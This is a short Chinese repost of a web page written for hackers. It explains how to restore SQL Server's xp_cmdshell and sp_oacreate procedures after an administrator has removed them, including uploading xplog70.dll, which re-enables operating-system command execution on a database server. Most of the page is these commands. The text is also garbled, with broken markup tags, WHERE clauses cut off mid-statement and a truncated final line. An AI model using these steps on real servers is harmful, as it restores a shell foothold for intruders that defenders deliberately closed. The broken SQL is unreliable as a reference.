xpcmdshell新的恢复办法 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    玩黑的朋友都会经常遇到这样的问题,呵呵总结

    扩展储存过程被删除以后可以有很简单的办法恢复:

    删除

    drop procedure sp_addextendedproc

    drop procedure sp_oacreate

    exec sp_dropextendedproc 'xp_cmdshell'

    恢复

    dbcc addextendedproc ("sp_oacreate","odsole70.dll")

    dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

    这样可以直接恢复,不用去管sp_addextendedproc是不是存在

    -----------------------------

    删除扩展存储过过程xp_cmdshell的语句:

    exec sp_dropextendedproc 'xp_cmdshell'[/cdoe]

    恢复cmdshell的sql语句

    [code]exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

    开启cmdshell的sql语句

    exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

    判断存储扩展是否存在

    select count(*) from master.dbo.sysobjects where xtype='x' and

    返回结果为1就ok

    恢复xp_cmdshell

    exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and

    返回结果为1就ok

    否则上传xplog7.0.dll

    exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

    堵上cmdshell的sql语句

    sp_dropextendedproc "xp_cmdshel

最新文章